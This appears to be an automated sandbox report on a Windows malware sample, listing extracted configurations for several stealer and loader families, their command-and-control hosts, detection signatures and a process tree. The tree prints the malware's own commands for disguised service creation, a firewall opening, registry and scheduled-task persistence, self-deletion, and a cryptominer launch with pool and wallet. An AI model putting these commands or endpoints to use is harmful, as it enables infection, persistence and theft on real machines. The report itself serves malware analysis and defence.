Analysis

  • max time kernel
    156s
  • max time network
    156s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    18/12/2021, 07:51

General

  • Target
    815523d02617a224888d2fad9703ca4f.exe
  • Size 299KB
  • Sample211218-jptrxafdek
  • SHA256 a8f23aa1f7842d8229fe27e9c8be82ef59aaf4829dec489e963034bf744934be
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • smokeloader

Version
  • 2020

C2
  • http://host-data-coin-11.com/

  • http://file-coin-host-12.com/

rc4.i32
rc4.i32

Extracted

Family
  • tofsee

C2
  • mubrikych.top

  • oxxyfix.xyz

Extracted

Family
  • redline

Botnet
  • 1

C2
  • 86.107.197.138:38133

Extracted

Family
  • vidar

Version
  • 49.1

Botnet
  • 1100

C2
  • https://noc.social/@sergeev46

  • https://c.im/@sergeev47

Attributes
  • profile_id

    1100

Extracted

Family
  • amadey

Version
  • 2.86

C2
  • 185.215.113.35/d2VxjasuwS/index.php

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

  • Arkei

    Arkei is an infostealer written in C++.

  • Bazar Loader

    Detected loader normally used to deploy BazarBackdoor malware.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 5 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Vidar

    Vidar is an infostealer based on Arkei stealer.

  • Windows security bypass 2 TTPs
  • suricata: ET MALWARE Amadey CnC Check-In

    suricata: ET MALWARE Amadey CnC Check-In

  • suricata: ET MALWARE Potential Dridex.Maldoc Minimal Executable Request

    suricata: ET MALWARE Potential Dridex.Maldoc Minimal Executable Request

  • suricata: ET MALWARE Single char EXE direct download likely trojan (multiple families)

    suricata: ET MALWARE Single char EXE direct download likely trojan (multiple families)

  • suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)

    suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)

  • suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload

    suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload

  • suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil

    suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Arkei Stealer Payload 2 IoCs
  • Bazar/Team9 Loader payload 2 IoCs
  • Vidar Stealer 2 IoCs
  • XMRig Miner Payload 1 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 18 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Deletes itself 1 IoCs
  • Loads dropped DLL 7 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses 2FA software files, possible credential harvesting 2 TTPs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 5 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 4 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 2 IoCs
  • Kills process with taskkill 1 IoCs
  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies system certificate store 2 TTPs 10 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\815523d02617a224888d2fad9703ca4f.exe
    "C:\Users\Admin\AppData\Local\Temp\815523d02617a224888d2fad9703ca4f.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:3712
    • C:\Users\Admin\AppData\Local\Temp\815523d02617a224888d2fad9703ca4f.exe
      "C:\Users\Admin\AppData\Local\Temp\815523d02617a224888d2fad9703ca4f.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:748
  • C:\Users\Admin\AppData\Local\Temp\1C7D.exe
    C:\Users\Admin\AppData\Local\Temp\1C7D.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:3160
    • C:\Users\Admin\AppData\Local\Temp\1C7D.exe
      C:\Users\Admin\AppData\Local\Temp\1C7D.exe
      2⤵
      • Executes dropped EXE
      • Checks SCSI registry key(s)
      • Suspicious behavior: MapViewOfSection
      PID:1704
  • C:\Users\Admin\AppData\Local\Temp\29EB.exe
    C:\Users\Admin\AppData\Local\Temp\29EB.exe
    1⤵
    • Executes dropped EXE
    PID:1724
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1724 -s 476
      2⤵
      • Suspicious use of NtCreateProcessExOtherParentProcess
      • Program crash
      • Suspicious use of AdjustPrivilegeToken
      PID:368
  • C:\Users\Admin\AppData\Local\Temp\8606.exe
    C:\Users\Admin\AppData\Local\Temp\8606.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    PID:1196
  • C:\Windows\system32\regsvr32.exe
    regsvr32 /s C:\Users\Admin\AppData\Local\Temp\88B7.dll
    1⤵
    • Loads dropped DLL
    PID:2400
  • C:\Windows\System32\rundll32.exe
    C:\Windows\System32\rundll32.exe C:\Users\Admin\AppData\Local\Temp\88B7.dll,DllRegisterServer {56BF0A3B-F67F-4FDA-A375-D4A7AF6C77F4}
    1⤵
    • Loads dropped DLL
    PID:3988
  • C:\Users\Admin\AppData\Local\Temp\9848.exe
    C:\Users\Admin\AppData\Local\Temp\9848.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Checks processor information in registry
    • Suspicious use of WriteProcessMemory
    PID:3268
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\AppData\Local\Temp\9848.exe" & exit
      2⤵
        PID:2144
        • C:\Windows\SysWOW64\timeout.exe
          timeout /t 5
          3⤵
          • Delays execution with timeout.exe
          PID:3248
    • C:\Users\Admin\AppData\Local\Temp\9D4B.exe
      C:\Users\Admin\AppData\Local\Temp\9D4B.exe
      1⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:4064
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ilbasvmv\
        2⤵
          PID:3776
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ymkkmlhq.exe" C:\Windows\SysWOW64\ilbasvmv\
          2⤵
            PID:828
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" create ilbasvmv binPath= "C:\Windows\SysWOW64\ilbasvmv\ymkkmlhq.exe /d\"C:\Users\Admin\AppData\Local\Temp\9D4B.exe\"" type= own start= auto DisplayName= "wifi support"
            2⤵
              PID:3736
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" description ilbasvmv "wifi internet conection"
              2⤵
                PID:3228
              • C:\Windows\SysWOW64\sc.exe
                "C:\Windows\System32\sc.exe" start ilbasvmv
                2⤵
                  PID:3768
                • C:\Windows\SysWOW64\netsh.exe
                  "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                  2⤵
                    PID:2224
                • C:\Users\Admin\AppData\Local\Temp\AEA1.exe
                  C:\Users\Admin\AppData\Local\Temp\AEA1.exe
                  1⤵
                  • Executes dropped EXE
                  • Suspicious use of SetThreadContext
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:2380
                  • C:\Users\Admin\AppData\Local\Temp\AEA1.exe
                    C:\Users\Admin\AppData\Local\Temp\AEA1.exe
                    2⤵
                    • Executes dropped EXE
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3512
                • C:\Windows\SysWOW64\ilbasvmv\ymkkmlhq.exe
                  C:\Windows\SysWOW64\ilbasvmv\ymkkmlhq.exe /d"C:\Users\Admin\AppData\Local\Temp\9D4B.exe"
                  1⤵
                  • Executes dropped EXE
                  • Suspicious use of SetThreadContext
                  • Suspicious use of WriteProcessMemory
                  PID:3968
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe
                    2⤵
                    • Drops file in System32 directory
                    • Suspicious use of SetThreadContext
                    • Modifies data under HKEY_USERS
                    PID:2332
                    • C:\Windows\SysWOW64\svchost.exe
                      svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                      3⤵
                        PID:2076
                  • C:\Users\Admin\AppData\Local\Temp\88A.exe
                    C:\Users\Admin\AppData\Local\Temp\88A.exe
                    1⤵
                    • Executes dropped EXE
                    • Modifies system certificate store
                    PID:2052
                  • C:\Users\Admin\AppData\Local\Temp\B0B.exe
                    C:\Users\Admin\AppData\Local\Temp\B0B.exe
                    1⤵
                    • Executes dropped EXE
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3000
                    • C:\Users\Admin\AppData\Local\Temp\build_FullCrypt.exe
                      "C:\Users\Admin\AppData\Local\Temp\build_FullCrypt.exe"
                      2⤵
                      • Executes dropped EXE
                      • Loads dropped DLL
                      • Checks processor information in registry
                      PID:2740
                      • C:\Windows\SysWOW64\cmd.exe
                        "C:\Windows\System32\cmd.exe" /c taskkill /im build_FullCrypt.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\build_FullCrypt.exe" & del C:\ProgramData\*.dll & exit
                        3⤵
                          PID:2124
                          • C:\Windows\SysWOW64\taskkill.exe
                            taskkill /im build_FullCrypt.exe /f
                            4⤵
                            • Kills process with taskkill
                            PID:680
                          • C:\Windows\SysWOW64\timeout.exe
                            timeout /t 6
                            4⤵
                            • Delays execution with timeout.exe
                            PID:3620
                      • C:\Users\Admin\AppData\Local\Temp\1234.exe
                        "C:\Users\Admin\AppData\Local\Temp\1234.exe"
                        2⤵
                        • Executes dropped EXE
                        • Suspicious use of AdjustPrivilegeToken
                        PID:3664
                    • C:\Users\Admin\AppData\Local\Temp\EC5.exe
                      C:\Users\Admin\AppData\Local\Temp\EC5.exe
                      1⤵
                      • Executes dropped EXE
                      • Suspicious use of AdjustPrivilegeToken
                      PID:2996
                    • C:\Users\Admin\AppData\Local\Temp\1186.exe
                      C:\Users\Admin\AppData\Local\Temp\1186.exe
                      1⤵
                      • Executes dropped EXE
                      PID:1376
                      • C:\Users\Admin\AppData\Local\Temp\a_2021-12-17_20-49.exe
                        "C:\Users\Admin\AppData\Local\Temp\a_2021-12-17_20-49.exe"
                        2⤵
                          PID:3012
                          • C:\Users\Admin\AppData\Local\Temp\60bb09348e\tkools.exe
                            "C:\Users\Admin\AppData\Local\Temp\60bb09348e\tkools.exe"
                            3⤵
                            • Executes dropped EXE
                            PID:3308
                            • C:\Windows\SysWOW64\cmd.exe
                              "C:\Windows\System32\cmd.exe" /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\60bb09348e\
                              4⤵
                                PID:360
                                • C:\Windows\SysWOW64\reg.exe
                                  REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\60bb09348e\
                                  5⤵
                                    PID:2616
                                • C:\Windows\SysWOW64\schtasks.exe
                                  "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN tkools.exe /TR "C:\Users\Admin\AppData\Local\Temp\60bb09348e\tkools.exe" /F
                                  4⤵
                                  • Creates scheduled task(s)
                                  PID:2872
                          • C:\Users\Admin\AppData\Local\Temp\1DDB.exe
                            C:\Users\Admin\AppData\Local\Temp\1DDB.exe
                            1⤵
                            • Executes dropped EXE
                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                            PID:1476
                          • C:\Users\Admin\AppData\Local\Temp\60bb09348e\tkools.exe
                            C:\Users\Admin\AppData\Local\Temp\60bb09348e\tkools.exe
                            1⤵
                            • Executes dropped EXE
                            PID:956

                          Network

                                MITRE ATT&CK Enterprise v6

                                Replay Monitor

                                Loading Replay Monitor...

                                Downloads

                                memory/748-116-0x0000000000400000-0x0000000000409000-memory.dmp

                                memory/956-323-0x0000000000400000-0x000000000082C000-memory.dmp

                                memory/956-321-0x0000000000A50000-0x0000000000A88000-memory.dmp

                                memory/1196-158-0x000000006F1E0000-0x000000006F22B000-memory.dmp

                                memory/1196-156-0x0000000074A50000-0x0000000075D98000-memory.dmp

                                memory/1196-139-0x00000000003F0000-0x00000000003F1000-memory.dmp

                                memory/1196-151-0x0000000004EB0000-0x0000000004EB1000-memory.dmp

                                memory/1196-148-0x0000000004E50000-0x0000000004E51000-memory.dmp

                                memory/1196-152-0x0000000000910000-0x0000000000955000-memory.dmp

                                memory/1196-146-0x0000000005570000-0x0000000005571000-memory.dmp

                                memory/1196-154-0x0000000004F50000-0x0000000004F51000-memory.dmp

                                memory/1196-155-0x0000000073C60000-0x00000000741E4000-memory.dmp

                                memory/1196-140-0x0000000073A80000-0x0000000073C42000-memory.dmp

                                memory/1196-150-0x0000000005070000-0x0000000005071000-memory.dmp

                                memory/1196-157-0x0000000004EF0000-0x0000000004EF1000-memory.dmp

                                memory/1196-144-0x0000000070F20000-0x0000000070FA0000-memory.dmp

                                memory/1196-142-0x00000000011A0000-0x00000000011A1000-memory.dmp

                                memory/1196-141-0x0000000076CD0000-0x0000000076DC1000-memory.dmp

                                memory/1196-138-0x00000000011A0000-0x0000000001209000-memory.dmp

                                memory/1476-263-0x0000000000560000-0x0000000000561000-memory.dmp

                                memory/1476-278-0x0000000004F10000-0x0000000004F11000-memory.dmp

                                memory/1476-262-0x0000000000F20000-0x0000000001054000-memory.dmp

                                memory/1476-264-0x0000000073A80000-0x0000000073C42000-memory.dmp

                                memory/1476-265-0x0000000076CD0000-0x0000000076DC1000-memory.dmp

                                memory/1476-266-0x0000000000F20000-0x0000000000F21000-memory.dmp

                                memory/1476-268-0x0000000070F20000-0x0000000070FA0000-memory.dmp

                                memory/1476-271-0x0000000000CB0000-0x0000000000CF5000-memory.dmp

                                memory/1724-132-0x00000000004E0000-0x00000000004E9000-memory.dmp

                                memory/1724-133-0x0000000000400000-0x00000000004CD000-memory.dmp

                                memory/2052-294-0x00000000024E7000-0x00000000024E9000-memory.dmp

                                memory/2052-227-0x00000000024E0000-0x00000000024E2000-memory.dmp

                                memory/2052-257-0x00000000024E4000-0x00000000024E5000-memory.dmp

                                memory/2332-213-0x00000000029D0000-0x00000000029D1000-memory.dmp

                                memory/2332-211-0x0000000002CC0000-0x0000000002CD5000-memory.dmp

                                memory/2332-214-0x00000000029D0000-0x00000000029D1000-memory.dmp

                                memory/2380-180-0x0000000004DF0000-0x0000000004DF1000-memory.dmp

                                memory/2380-178-0x00000000054B0000-0x00000000054B1000-memory.dmp

                                memory/2380-175-0x0000000004C30000-0x0000000004C31000-memory.dmp

                                memory/2380-181-0x0000000000E00000-0x0000000000E01000-memory.dmp

                                memory/2380-176-0x0000000002690000-0x0000000002691000-memory.dmp

                                memory/2380-171-0x0000000000390000-0x0000000000391000-memory.dmp

                                memory/2400-153-0x00000000027D0000-0x000000000299E000-memory.dmp

                                memory/2740-281-0x0000000000400000-0x0000000000541000-memory.dmp

                                memory/2740-280-0x00000000021A0000-0x0000000002279000-memory.dmp

                                memory/2996-243-0x0000000004C30000-0x0000000004C31000-memory.dmp

                                memory/2996-234-0x0000000000380000-0x0000000000381000-memory.dmp

                                memory/2996-253-0x0000000004BA0000-0x000000000509E000-memory.dmp

                                memory/2996-258-0x0000000004BA0000-0x000000000509E000-memory.dmp

                                memory/3000-239-0x0000000003190000-0x0000000003191000-memory.dmp

                                memory/3000-238-0x0000000005830000-0x0000000005831000-memory.dmp

                                memory/3000-229-0x0000000000E30000-0x0000000000E31000-memory.dmp

                                memory/3012-284-0x0000000000400000-0x000000000082C000-memory.dmp

                                memory/3012-283-0x0000000000830000-0x00000000008DE000-memory.dmp

                                memory/3012-282-0x00000000001C0000-0x00000000001DD000-memory.dmp

                                memory/3040-134-0x00000000027C0000-0x00000000027D6000-memory.dmp

                                memory/3040-119-0x0000000000CD0000-0x0000000000CE6000-memory.dmp

                                memory/3160-130-0x00000000004D0000-0x000000000061A000-memory.dmp

                                memory/3160-126-0x0000000000816000-0x0000000000827000-memory.dmp

                                memory/3268-174-0x0000000000400000-0x00000000004CD000-memory.dmp

                                memory/3268-173-0x00000000020B0000-0x00000000020CC000-memory.dmp

                                memory/3308-306-0x0000000000830000-0x00000000008DE000-memory.dmp

                                memory/3308-307-0x0000000000400000-0x000000000082C000-memory.dmp

                                memory/3308-305-0x0000000000830000-0x00000000008DE000-memory.dmp

                                memory/3512-206-0x0000000006390000-0x0000000006391000-memory.dmp

                                memory/3512-190-0x0000000000400000-0x0000000000420000-memory.dmp

                                memory/3512-209-0x0000000006DC0000-0x0000000006DC1000-memory.dmp

                                memory/3512-203-0x00000000056C0000-0x00000000056C1000-memory.dmp

                                memory/3512-210-0x00000000074C0000-0x00000000074C1000-memory.dmp

                                memory/3512-200-0x00000000052D0000-0x00000000058D6000-memory.dmp

                                memory/3664-255-0x00000000057B0000-0x0000000005CAE000-memory.dmp

                                memory/3664-256-0x00000000057B0000-0x0000000005CAE000-memory.dmp

                                memory/3664-248-0x0000000000F10000-0x0000000000F11000-memory.dmp

                                memory/3712-118-0x00000000005B0000-0x00000000005B9000-memory.dmp

                                memory/3712-115-0x00000000007E6000-0x00000000007F6000-memory.dmp

                                memory/3968-217-0x00000000007C0000-0x00000000007D3000-memory.dmp

                                memory/3968-218-0x0000000000400000-0x00000000004CD000-memory.dmp

                                memory/3968-208-0x0000000000821000-0x0000000000831000-memory.dmp

                                memory/3988-160-0x0000021389B10000-0x0000021389CDE000-memory.dmp

                                memory/4064-183-0x0000000000400000-0x00000000004CD000-memory.dmp

                                memory/4064-177-0x00000000007B6000-0x00000000007C7000-memory.dmp

                                memory/4064-182-0x00000000004D0000-0x000000000061A000-memory.dmp